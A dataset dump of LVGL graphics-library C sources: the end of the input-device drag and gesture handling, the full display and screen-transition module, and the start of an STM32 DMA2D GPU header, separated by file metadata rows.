proc->types.pointer.drag_limit_out = 1;
drag_just_started = true;
}
}
/*If the drag limit is exceeded handle the dragging*/
if(proc->types.pointer.drag_limit_out != 0) {
/*Set new position if the vector is not zero*/
if(proc->types.pointer.vect.x != 0 || proc->types.pointer.vect.y != 0) {
lv_coord_t prev_x = drag_obj->coords.x1;
lv_coord_t prev_y = drag_obj->coords.y1;
lv_coord_t prev_par_w = lv_obj_get_width(lv_obj_get_parent(drag_obj));
lv_coord_t prev_par_h = lv_obj_get_height(lv_obj_get_parent(drag_obj));
/*Get the coordinates of the object and modify them*/
lv_coord_t act_x = lv_obj_get_x(drag_obj);
lv_coord_t act_y = lv_obj_get_y(drag_obj);
if(allowed_dirs == LV_DRAG_DIR_BOTH) {
if(drag_just_started) {
proc->types.pointer.drag_dir = LV_DRAG_DIR_BOTH;
act_x += proc->types.pointer.drag_sum.x;
act_y += proc->types.pointer.drag_sum.y;
}
}
else if(allowed_dirs == LV_DRAG_DIR_HOR) {
if(drag_just_started) {
proc->types.pointer.drag_dir = LV_DRAG_DIR_HOR;
proc->types.pointer.drag_sum.y = 0;
act_x += proc->types.pointer.drag_sum.x;
}
}
else if(allowed_dirs == LV_DRAG_DIR_VER) {
if(drag_just_started) {
proc->types.pointer.drag_dir = LV_DRAG_DIR_VER;
proc->types.pointer.drag_sum.x = 0;
act_y += proc->types.pointer.drag_sum.y;
}
}
else if(allowed_dirs == LV_DRAG_DIR_ONE) {
if(drag_just_started) {
if(LV_MATH_ABS(proc->types.pointer.drag_sum.x) > LV_MATH_ABS(proc->types.pointer.drag_sum.y)) {
proc->types.pointer.drag_dir = LV_DRAG_DIR_HOR;
proc->types.pointer.drag_sum.y = 0;
act_x += proc->types.pointer.drag_sum.x;
}
else {
proc->types.pointer.drag_dir = LV_DRAG_DIR_VER;
proc->types.pointer.drag_sum.x = 0;
act_y += proc->types.pointer.drag_sum.y;
}
}
}
/*Move the object*/
if(allowed_dirs == LV_DRAG_DIR_HOR ||
allowed_dirs == LV_DRAG_DIR_BOTH ||
(allowed_dirs == LV_DRAG_DIR_ONE &&
LV_MATH_ABS(proc->types.pointer.drag_sum.x) > LV_MATH_ABS(proc->types.pointer.drag_sum.y))) {
act_x += proc->types.pointer.vect.x;
}
if(allowed_dirs == LV_DRAG_DIR_VER ||
allowed_dirs == LV_DRAG_DIR_BOTH ||
(allowed_dirs == LV_DRAG_DIR_ONE &&
LV_MATH_ABS(proc->types.pointer.drag_sum.x) < LV_MATH_ABS(proc->types.pointer.drag_sum.y))) {
act_y += proc->types.pointer.vect.y;
}
uint16_t inv_buf_size =
lv_disp_get_inv_buf_size(indev_act->driver.disp); /*Get the number of currently invalidated areas*/
lv_obj_set_pos(drag_obj, act_x, act_y);
proc->types.pointer.drag_in_prog = 1;
/*If the object didn't moved then clear the invalidated areas*/
if(drag_obj->coords.x1 == prev_x && drag_obj->coords.y1 == prev_y) {
/*In a special case if the object is moved on a page and
* the scrollable has fit == true and the object is dragged of the page then
* while its coordinate is not changing only the parent's size is reduced */
lv_coord_t act_par_w = lv_obj_get_width(lv_obj_get_parent(drag_obj));
lv_coord_t act_par_h = lv_obj_get_height(lv_obj_get_parent(drag_obj));
if(act_par_w == prev_par_w && act_par_h == prev_par_h) {
uint16_t new_inv_buf_size = lv_disp_get_inv_buf_size(indev_act->driver.disp);
_lv_disp_pop_from_inv_buf(indev_act->driver.disp, new_inv_buf_size - inv_buf_size);
}
}
/*Set the drag in progress flag*/
/*Send the drag begin signal on first move*/
if(drag_just_started) {
drag_obj->signal_cb(drag_obj, LV_SIGNAL_DRAG_BEGIN, indev_act);
if(indev_reset_check(proc)) return;
lv_event_send(drag_obj, LV_EVENT_DRAG_BEGIN, NULL);
if(indev_reset_check(proc)) return;
}
}
}
}
/**
* Handle throwing by drag if the drag is ended
* @param indev pointer to an input device state
*/
static void indev_drag_throw(lv_indev_proc_t * proc)
{
if(proc->types.pointer.drag_in_prog == 0) return;
lv_obj_t * drag_obj = get_dragged_obj(proc->types.pointer.last_obj);
if(drag_obj == NULL) return;
/*Return if the drag throw is not enabled*/
if(lv_obj_get_drag_throw(drag_obj) == false) {
proc->types.pointer.drag_in_prog = 0;
drag_obj->signal_cb(drag_obj, LV_SIGNAL_DRAG_END, indev_act);
if(indev_reset_check(proc)) return;
lv_event_send(drag_obj, LV_EVENT_DRAG_END, NULL);
return;
}
lv_drag_dir_t allowed_dirs = lv_obj_get_drag_dir(drag_obj);
/*Reduce the vectors*/
proc->types.pointer.drag_throw_vect.x =
proc->types.pointer.drag_throw_vect.x * (100 - indev_act->driver.drag_throw) / 100;
proc->types.pointer.drag_throw_vect.y =
proc->types.pointer.drag_throw_vect.y * (100 - indev_act->driver.drag_throw) / 100;
if(proc->types.pointer.drag_throw_vect.x != 0 || proc->types.pointer.drag_throw_vect.y != 0) {
/*Get the coordinates and modify them*/
lv_area_t coords_ori;
lv_obj_get_coords(drag_obj, &coords_ori);
lv_coord_t act_x = lv_obj_get_x(drag_obj) + proc->types.pointer.drag_throw_vect.x;
lv_coord_t act_y = lv_obj_get_y(drag_obj) + proc->types.pointer.drag_throw_vect.y;
if(allowed_dirs == LV_DRAG_DIR_BOTH) lv_obj_set_pos(drag_obj, act_x, act_y);
else if(allowed_dirs == LV_DRAG_DIR_HOR) lv_obj_set_x(drag_obj, act_x);
else if(allowed_dirs == LV_DRAG_DIR_VER) lv_obj_set_y(drag_obj, act_y);
else if(allowed_dirs == LV_DRAG_DIR_ONE) {
if(proc->types.pointer.drag_sum.x) lv_obj_set_x(drag_obj, act_x);
else lv_obj_set_y(drag_obj, act_y);
}
lv_area_t coord_new;
lv_obj_get_coords(drag_obj, &coord_new);
/*If non of the coordinates are changed then do not continue throwing*/
if((coords_ori.x1 == coord_new.x1 || proc->types.pointer.drag_throw_vect.x == 0) &&
(coords_ori.y1 == coord_new.y1 || proc->types.pointer.drag_throw_vect.y == 0)) {
proc->types.pointer.drag_in_prog = 0;
proc->types.pointer.vect.x = 0;
proc->types.pointer.vect.y = 0;
proc->types.pointer.drag_throw_vect.x = 0;
proc->types.pointer.drag_throw_vect.y = 0;
drag_obj->signal_cb(drag_obj, LV_SIGNAL_DRAG_END, indev_act);
if(indev_reset_check(proc)) return;
lv_event_send(drag_obj, LV_EVENT_DRAG_END, NULL);
if(indev_reset_check(proc)) return;
}
}
/*If the types.pointer.vectors become 0 -> types.pointer.drag_in_prog = 0 and send a drag end
signal*/
else {
proc->types.pointer.drag_in_prog = 0;
drag_obj->signal_cb(drag_obj, LV_SIGNAL_DRAG_END, indev_act);
if(indev_reset_check(proc)) return;
lv_event_send(drag_obj, LV_EVENT_DRAG_END, NULL);
if(indev_reset_check(proc)) return;
}
}
/**
* Get the really dragged object by taking `drag_parent` into account.
* @param obj the start object
* @return the object to really drag
*/
static lv_obj_t * get_dragged_obj(lv_obj_t * obj)
{
if(obj == NULL) return NULL;
lv_obj_t * drag_obj = obj;
while(lv_obj_get_drag_parent(drag_obj) != false && drag_obj != NULL) {
drag_obj = lv_obj_get_parent(drag_obj);
}
return drag_obj;
}
/**
* Handle the gesture of indev_proc_p->types.pointer.act_obj
* @param indev pointer to a input device state
*/
static void indev_gesture(lv_indev_proc_t * proc)
{
if(proc->types.pointer.drag_in_prog) return;
if(proc->types.pointer.gesture_sent) return;
lv_obj_t * gesture_obj = proc->types.pointer.act_obj;
/*If gesture parent is active check recursively the gesture attribute*/
while(gesture_obj && lv_obj_get_gesture_parent(gesture_obj)) {
gesture_obj = lv_obj_get_parent(gesture_obj);
}
if(gesture_obj == NULL) return;
if((LV_MATH_ABS(proc->types.pointer.vect.x) < indev_act->driver.gesture_min_velocity) &&
(LV_MATH_ABS(proc->types.pointer.vect.y) < indev_act->driver.gesture_min_velocity)) {
proc->types.pointer.gesture_sum.x = 0;
proc->types.pointer.gesture_sum.y = 0;
}
/*Count the movement by gesture*/
proc->types.pointer.gesture_sum.x += proc->types.pointer.vect.x;
proc->types.pointer.gesture_sum.y += proc->types.pointer.vect.y;
if((LV_MATH_ABS(proc->types.pointer.gesture_sum.x) > indev_act->driver.gesture_limit) ||
(LV_MATH_ABS(proc->types.pointer.gesture_sum.y) > indev_act->driver.gesture_limit)) {
proc->types.pointer.gesture_sent = 1;
if(LV_MATH_ABS(proc->types.pointer.gesture_sum.x) > LV_MATH_ABS(proc->types.pointer.gesture_sum.y)) {
if(proc->types.pointer.gesture_sum.x > 0)
proc->types.pointer.gesture_dir = LV_GESTURE_DIR_RIGHT;
else
proc->types.pointer.gesture_dir = LV_GESTURE_DIR_LEFT;
}
else {
if(proc->types.pointer.gesture_sum.y > 0)
proc->types.pointer.gesture_dir = LV_GESTURE_DIR_BOTTOM;
else
proc->types.pointer.gesture_dir = LV_GESTURE_DIR_TOP;
}
gesture_obj->signal_cb(gesture_obj, LV_SIGNAL_GESTURE, indev_act);
if(indev_reset_check(proc)) return;
lv_event_send(gesture_obj, LV_EVENT_GESTURE, NULL);
if(indev_reset_check(proc)) return;
}
}
/**
* Checks if the reset_query flag has been set. If so, perform necessary global indev cleanup actions
* @param proc pointer to an input device 'proc'
* @return true if indev query should be immediately truncated.
*/
static bool indev_reset_check(lv_indev_proc_t * proc)
{
if(proc->reset_query) {
indev_obj_act = NULL;
}
return proc->reset_query ? true : false;
}
| 59,235 | lv_indev | c | en | c | code | {"qsc_code_num_words": 8547, "qsc_code_num_chars": 59235.0, "qsc_code_mean_word_length": 3.94009594, "qsc_code_frac_words_unique": 0.05042705, "qsc_code_frac_chars_top_2grams": 0.05826108, "qsc_code_frac_chars_top_3grams": 0.09882409, "qsc_code_frac_chars_top_4grams": 0.05285663, "qsc_code_frac_chars_dupe_5grams": 0.73663737, "qsc_code_frac_chars_dupe_6grams": 0.69058083, "qsc_code_frac_chars_dupe_7grams": 0.64761254, "qsc_code_frac_chars_dupe_8grams": 0.60247654, "qsc_code_frac_chars_dupe_9grams": 0.55704359, "qsc_code_frac_chars_dupe_10grams": 0.50988835, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0039467, "qsc_code_frac_chars_whitespace": 0.27282856, "qsc_code_size_file_byte": 59235.0, "qsc_code_num_lines": 1554.0, "qsc_code_num_chars_line_max": 124.0, "qsc_code_num_chars_line_mean": 38.11776062, "qsc_code_frac_chars_alphabet": 0.77787064, "qsc_code_frac_chars_comments": 0.22105174, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.4033366, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00643679, "qsc_code_frac_chars_long_word_length": 0.00145207, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.0814524, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.10107949, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": 0.02158979} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/components/lvgl_gui/lvgl/src/lv_core/lv_disp.c | /**
* @file lv_disp.c
*
*/
/*********************
* INCLUDES
*********************/
#include "lv_disp.h"
#include "../lv_misc/lv_math.h"
#include "../lv_core/lv_refr.h"
/*********************
* DEFINES
*********************/
/**********************
* TYPEDEFS
**********************/
/**********************
* STATIC PROTOTYPES
**********************/
#if LV_USE_ANIMATION
static void scr_load_anim_start(lv_anim_t * a);
static void opa_scale_anim(lv_obj_t * obj, lv_anim_value_t v);
static void scr_anim_ready(lv_anim_t * a);
#endif
/**********************
* STATIC VARIABLES
**********************/
/**********************
* MACROS
**********************/
/**********************
* GLOBAL FUNCTIONS
**********************/
/**
* Return with a pointer to the active screen
* @param disp pointer to display which active screen should be get. (NULL to use the default
* screen)
* @return pointer to the active screen object (loaded by 'lv_scr_load()')
*/
lv_obj_t * lv_disp_get_scr_act(lv_disp_t * disp)
{
if(!disp) disp = lv_disp_get_default();
if(!disp) {
LV_LOG_WARN("no display registered to get its active screen");
return NULL;
}
return disp->act_scr;
}
/**
* Return with a pointer to the previous screen. Only used during screen transitions.
* @param disp pointer to display which previous screen should be get. (NULL to use the default
* screen)
* @return pointer to the previous screen object or NULL if not used now
*/
lv_obj_t * lv_disp_get_scr_prev(lv_disp_t * disp)
{
if(!disp) disp = lv_disp_get_default();
if(!disp) {
LV_LOG_WARN("no display registered to get its previous screen");
return NULL;
}
return disp->prev_scr;
}
/**
* Make a screen active
* @param scr pointer to a screen
*/
void lv_disp_load_scr(lv_obj_t * scr)
{
lv_disp_t * d = lv_obj_get_disp(scr);
if(!d) return; /*Shouldn't happen, just to be sure*/
d->act_scr = scr;
lv_obj_invalidate(scr);
}
/**
* Return with the top layer. (Same on every screen and it is above the normal screen layer)
* @param disp pointer to display which top layer should be get. (NULL to use the default screen)
* @return pointer to the top layer object (transparent screen sized lv_obj)
*/
lv_obj_t * lv_disp_get_layer_top(lv_disp_t * disp)
{
if(!disp) disp = lv_disp_get_default();
if(!disp) {
LV_LOG_WARN("lv_layer_top: no display registered to get its top layer");
return NULL;
}
return disp->top_layer;
}
/**
* Return with the sys. layer. (Same on every screen and it is above the normal screen and the top
* layer)
* @param disp pointer to display which sys. layer should be get. (NULL to use the default screen)
* @return pointer to the sys layer object (transparent screen sized lv_obj)
*/
lv_obj_t * lv_disp_get_layer_sys(lv_disp_t * disp)
{
if(!disp) disp = lv_disp_get_default();
if(!disp) {
LV_LOG_WARN("lv_layer_sys: no display registered to get its sys. layer");
return NULL;
}
return disp->sys_layer;
}
/**
* Assign a screen to a display.
* @param disp pointer to a display where to assign the screen
* @param scr pointer to a screen object to assign
*/
void lv_disp_assign_screen(lv_disp_t * disp, lv_obj_t * scr)
{
if(lv_obj_get_parent(scr) != NULL) {
LV_LOG_WARN("lv_disp_assign_screen: try to assign a non-screen object");
return;
}
lv_disp_t * old_disp = lv_obj_get_disp(scr);
if(old_disp == disp) return;
_lv_ll_chg_list(&old_disp->scr_ll, &disp->scr_ll, scr, true);
}
/**
* Set the background color of a display
* @param disp pointer to a display
* @param color color of the background
*/
void lv_disp_set_bg_color(lv_disp_t * disp, lv_color_t color)
{
if(!disp) disp = lv_disp_get_default();
if(!disp) {
LV_LOG_WARN("no display registered");
return;
}
disp->bg_color = color;
lv_area_t a;
lv_area_set(&a, 0, 0, lv_disp_get_hor_res(disp) - 1, lv_disp_get_ver_res(disp) - 1);
_lv_inv_area(disp, &a);
}
/**
* Set the background image of a display
* @param disp pointer to a display
* @param img_src path to file or pointer to an `lv_img_dsc_t` variable
*/
void lv_disp_set_bg_image(lv_disp_t * disp, const void * img_src)
{
if(!disp) disp = lv_disp_get_default();
if(!disp) {
LV_LOG_WARN("no display registered");
return;
}
disp->bg_img = img_src;
lv_area_t a;
lv_area_set(&a, 0, 0, lv_disp_get_hor_res(disp) - 1, lv_disp_get_ver_res(disp) - 1);
_lv_inv_area(disp, &a);
}
/**
* Opacity of the background
* @param disp pointer to a display
* @param opa opacity (0..255)
*/
void lv_disp_set_bg_opa(lv_disp_t * disp, lv_opa_t opa)
{
if(!disp) disp = lv_disp_get_default();
if(!disp) {
LV_LOG_WARN("no display registered");
return;
}
disp->bg_opa = opa;
lv_area_t a;
lv_area_set(&a, 0, 0, lv_disp_get_hor_res(disp) - 1, lv_disp_get_ver_res(disp) - 1);
_lv_inv_area(disp, &a);
}
#if LV_USE_ANIMATION
/**
* Switch screen with animation
* @param scr pointer to the new screen to load
* @param anim_type type of the animation from `lv_scr_load_anim_t`. E.g. `LV_SCR_LOAD_ANIM_MOVE_LEFT`
* @param time time of the animation
* @param delay delay before the transition
* @param auto_del true: automatically delete the old screen
*/
void lv_scr_load_anim(lv_obj_t * new_scr, lv_scr_load_anim_t anim_type, uint32_t time, uint32_t delay, bool auto_del)
{
lv_disp_t * d = lv_obj_get_disp(new_scr);
if(d->prev_scr && d->del_prev) {
lv_obj_del(d->prev_scr);
d->prev_scr = NULL;
}
d->del_prev = auto_del;
/*Be sure there is no other animation on the screens*/
lv_anim_del(new_scr, NULL);
lv_anim_del(lv_scr_act(), NULL);
/*Be sure both screens are in a normal position*/
lv_obj_set_pos(new_scr, 0, 0);
lv_obj_set_pos(lv_scr_act(), 0, 0);
lv_style_remove_prop(lv_obj_get_local_style(new_scr, LV_OBJ_PART_MAIN), LV_STYLE_OPA_SCALE);
lv_style_remove_prop(lv_obj_get_local_style(lv_scr_act(), LV_OBJ_PART_MAIN), LV_STYLE_OPA_SCALE);
lv_anim_t a_new;
lv_anim_init(&a_new);
lv_anim_set_var(&a_new, new_scr);
lv_anim_set_start_cb(&a_new, scr_load_anim_start);
lv_anim_set_ready_cb(&a_new, scr_anim_ready);
lv_anim_set_time(&a_new, time);
lv_anim_set_delay(&a_new, delay);
lv_anim_t a_old;
lv_anim_init(&a_old);
lv_anim_set_var(&a_old, d->act_scr);
lv_anim_set_time(&a_old, time);
lv_anim_set_delay(&a_old, delay);
switch(anim_type) {
case LV_SCR_LOAD_ANIM_NONE:
/* Create a dummy animation to apply the delay*/
lv_anim_set_exec_cb(&a_new, (lv_anim_exec_xcb_t) lv_obj_set_x);
lv_anim_set_values(&a_new, 0, 0);
break;
case LV_SCR_LOAD_ANIM_OVER_LEFT:
lv_anim_set_exec_cb(&a_new, (lv_anim_exec_xcb_t) lv_obj_set_x);
lv_anim_set_values(&a_new, lv_disp_get_hor_res(d), 0);
break;
case LV_SCR_LOAD_ANIM_OVER_RIGHT:
lv_anim_set_exec_cb(&a_new, (lv_anim_exec_xcb_t) lv_obj_set_x);
lv_anim_set_values(&a_new, -lv_disp_get_hor_res(d), 0);
break;
case LV_SCR_LOAD_ANIM_OVER_TOP:
lv_anim_set_exec_cb(&a_new, (lv_anim_exec_xcb_t) lv_obj_set_y);
lv_anim_set_values(&a_new, lv_disp_get_ver_res(d), 0);
break;
case LV_SCR_LOAD_ANIM_OVER_BOTTOM:
lv_anim_set_exec_cb(&a_new, (lv_anim_exec_xcb_t) lv_obj_set_y);
lv_anim_set_values(&a_new, -lv_disp_get_ver_res(d), 0);
break;
case LV_SCR_LOAD_ANIM_MOVE_LEFT:
lv_anim_set_exec_cb(&a_new, (lv_anim_exec_xcb_t) lv_obj_set_x);
lv_anim_set_values(&a_new, lv_disp_get_hor_res(d), 0);
lv_anim_set_exec_cb(&a_old, (lv_anim_exec_xcb_t) lv_obj_set_x);
lv_anim_set_values(&a_old, 0, -lv_disp_get_hor_res(d));
break;
case LV_SCR_LOAD_ANIM_MOVE_RIGHT:
lv_anim_set_exec_cb(&a_new, (lv_anim_exec_xcb_t) lv_obj_set_x);
lv_anim_set_values(&a_new, -lv_disp_get_hor_res(d), 0);
lv_anim_set_exec_cb(&a_old, (lv_anim_exec_xcb_t) lv_obj_set_x);
lv_anim_set_values(&a_old, 0, lv_disp_get_hor_res(d));
break;
case LV_SCR_LOAD_ANIM_MOVE_TOP:
lv_anim_set_exec_cb(&a_new, (lv_anim_exec_xcb_t) lv_obj_set_y);
lv_anim_set_values(&a_new, lv_disp_get_ver_res(d), 0);
lv_anim_set_exec_cb(&a_old, (lv_anim_exec_xcb_t) lv_obj_set_y);
lv_anim_set_values(&a_old, 0, -lv_disp_get_ver_res(d));
break;
case LV_SCR_LOAD_ANIM_MOVE_BOTTOM:
lv_anim_set_exec_cb(&a_new, (lv_anim_exec_xcb_t) lv_obj_set_y);
lv_anim_set_values(&a_new, -lv_disp_get_ver_res(d), 0);
lv_anim_set_exec_cb(&a_old, (lv_anim_exec_xcb_t) lv_obj_set_y);
lv_anim_set_values(&a_old, 0, lv_disp_get_ver_res(d));
break;
case LV_SCR_LOAD_ANIM_FADE_ON:
lv_anim_set_exec_cb(&a_new, (lv_anim_exec_xcb_t) opa_scale_anim);
lv_anim_set_values(&a_new, LV_OPA_TRANSP, LV_OPA_COVER);
break;
}
lv_anim_start(&a_new);
lv_anim_start(&a_old);
}
#endif
/**
* Get elapsed time since last user activity on a display (e.g. click)
* @param disp pointer to an display (NULL to get the overall smallest inactivity)
* @return elapsed ticks (milliseconds) since the last activity
*/
uint32_t lv_disp_get_inactive_time(const lv_disp_t * disp)
{
if(!disp) disp = lv_disp_get_default();
if(!disp) {
LV_LOG_WARN("lv_disp_get_inactive_time: no display registered");
return 0;
}
if(disp) return lv_tick_elaps(disp->last_activity_time);
lv_disp_t * d;
uint32_t t = UINT32_MAX;
d = lv_disp_get_next(NULL);
while(d) {
uint32_t elaps = lv_tick_elaps(d->last_activity_time);
t = LV_MATH_MIN(t, elaps);
d = lv_disp_get_next(d);
}
return t;
}
/**
* Manually trigger an activity on a display
* @param disp pointer to an display (NULL to use the default display)
*/
void lv_disp_trig_activity(lv_disp_t * disp)
{
if(!disp) disp = lv_disp_get_default();
if(!disp) {
LV_LOG_WARN("lv_disp_trig_activity: no display registered");
return;
}
disp->last_activity_time = lv_tick_get();
}
/**
* Get a pointer to the screen refresher task to
* modify its parameters with `lv_task_...` functions.
* @param disp pointer to a display
* @return pointer to the display refresher task. (NULL on error)
*/
lv_task_t * _lv_disp_get_refr_task(lv_disp_t * disp)
{
if(!disp) disp = lv_disp_get_default();
if(!disp) {
LV_LOG_WARN("lv_disp_get_refr_task: no display registered");
return NULL;
}
return disp->refr_task;
}
/**********************
* STATIC FUNCTIONS
**********************/
#if LV_USE_ANIMATION
static void scr_load_anim_start(lv_anim_t * a)
{
lv_disp_t * d = lv_obj_get_disp(a->var);
d->prev_scr = lv_scr_act();
lv_disp_load_scr(a->var);
}
static void opa_scale_anim(lv_obj_t * obj, lv_anim_value_t v)
{
lv_obj_set_style_local_opa_scale(obj, LV_OBJ_PART_MAIN, LV_STATE_DEFAULT, v);
}
static void scr_anim_ready(lv_anim_t * a)
{
lv_disp_t * d = lv_obj_get_disp(a->var);
if(d->prev_scr && d->del_prev) lv_obj_del(d->prev_scr);
d->prev_scr = NULL;
lv_style_remove_prop(lv_obj_get_local_style(a->var, LV_OBJ_PART_MAIN), LV_STYLE_OPA_SCALE);
}
#endif
| 11,664 | lv_disp | c | en | c | code | {"qsc_code_num_words": 1947, "qsc_code_num_chars": 11664.0, "qsc_code_mean_word_length": 3.48638932, "qsc_code_frac_words_unique": 0.10272214, "qsc_code_frac_chars_top_2grams": 0.05833824, "qsc_code_frac_chars_top_3grams": 0.05038303, "qsc_code_frac_chars_top_4grams": 0.02681202, "qsc_code_frac_chars_dupe_5grams": 0.662198, "qsc_code_frac_chars_dupe_6grams": 0.58161461, "qsc_code_frac_chars_dupe_7grams": 0.53078963, "qsc_code_frac_chars_dupe_8grams": 0.50692398, "qsc_code_frac_chars_dupe_9grams": 0.47819682, "qsc_code_frac_chars_dupe_10grams": 0.45359458, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00514167, "qsc_code_frac_chars_whitespace": 0.21630658, "qsc_code_size_file_byte": 11664.0, "qsc_code_num_lines": 400.0, "qsc_code_num_chars_line_max": 118.0, "qsc_code_num_chars_line_mean": 29.16, "qsc_code_frac_chars_alphabet": 0.73744667, "qsc_code_frac_chars_comments": 0.28472222, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.35622318, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.06124895, "qsc_code_frac_chars_long_word_length": 0.01102721, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.08583691, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.15021459, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": 0.03862661} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/components/lvgl_gui/lvgl/src/lv_gpu/lv_gpu_stm32_dma2d.h | /**
* @file lv_gpu_stm32_dma2d.h
*
*/
#ifndef LV_GPU_STM32_DMA2D_H
#define LV_GPU_STM32_DMA2D_H
#ifdef __cplusplus
extern "C" {
#endif
/*********************
* INCLUDES
*********************/
#include "../lv_misc/lv_area.h"
#include "../lv_misc/lv_color.h"
/*********************
* DEFINES
*********************/
#define LV_DMA2D_ARGB8888 0
#define LV_DMA2D_RGB888 1
#define LV_DMA2D_RGB565 2
#define LV_DMA2D_ARGB1555 3
#define LV_DMA2D_ARGB4444 4
/**********************
* TYPEDEFS
**********************/
/**********************
* GLOBAL PROTOTYPES
**********************/
/**
* Turn on the peripheral and set output color mode, this only needs to be done once
*/
void lv_gpu_stm32_dma2d_init(void);
/**
* Fill an area in the buffer with a color
* @param buf a buffer which should be filled
* @param buf_w width of the buffer in pixels
* @param color fill color
* @param fill_w width to fill in pixels (<= buf_w)
* @param fill_h height to fill in pixels
* @note `buf_w - fill_w` is offset to the next line after fill
*/
void lv_gpu_stm32_dma2d_fill(lv_color_t * buf, lv_coord_t buf_w, lv_color_t color, lv_coord_t fill_w,
lv_coord_t fill_h);
/**
* Fill an area in the buffer with a color but take into account a mask which describes the opacity of each pixel
* @param buf a buffer which should be filled using a mask
* @param buf_w width of the buffer in pixels
* @param color fill color
* @param mask 0..255 values describing the opacity of the corresponding pixel. It's width is `fill_w`
* @param opa overall opacity. 255 in `mask` should mean this opacity.
* @param fill_w width to fill in pixels (<= buf_w)
* @param fill_h height to fill in pixels
* @note `buf_w - fill_w` is offset to the next line after fill
*/
void lv_gpu_stm32_dma2d_fill_mask(lv_color_t * buf, lv_coord_t buf_w, lv_color_t color, const lv_opa_t * mask,
lv_opa_t opa, lv_coord_t fill_w, lv_coord_t fill_h);
/**
* Copy a map (typically RGB image) to a buffer
* @param buf a buffer where map should be copied
* @param buf_w width of the buffer in pixels
* @param map an "image" to copy
* @param map_w width of the map in pixels
* @param copy_w width of the area to copy in pixels (<= buf_w)
* @param copy_h height of the area to copy in pixels
* @note `map_w - fill_w` is offset to the next line after copy
*/
void lv_gpu_stm32_dma2d_copy(lv_color_t * buf, lv_coord_t buf_w, const lv_color_t * map, lv_coord_t map_w,
lv_coord_t copy_w, lv_coord_t copy_h);
/**
* Blend a map (e.g. ARGB image or RGB image with opacity) to a buffer
* @param buf a buffer where `map` should be copied
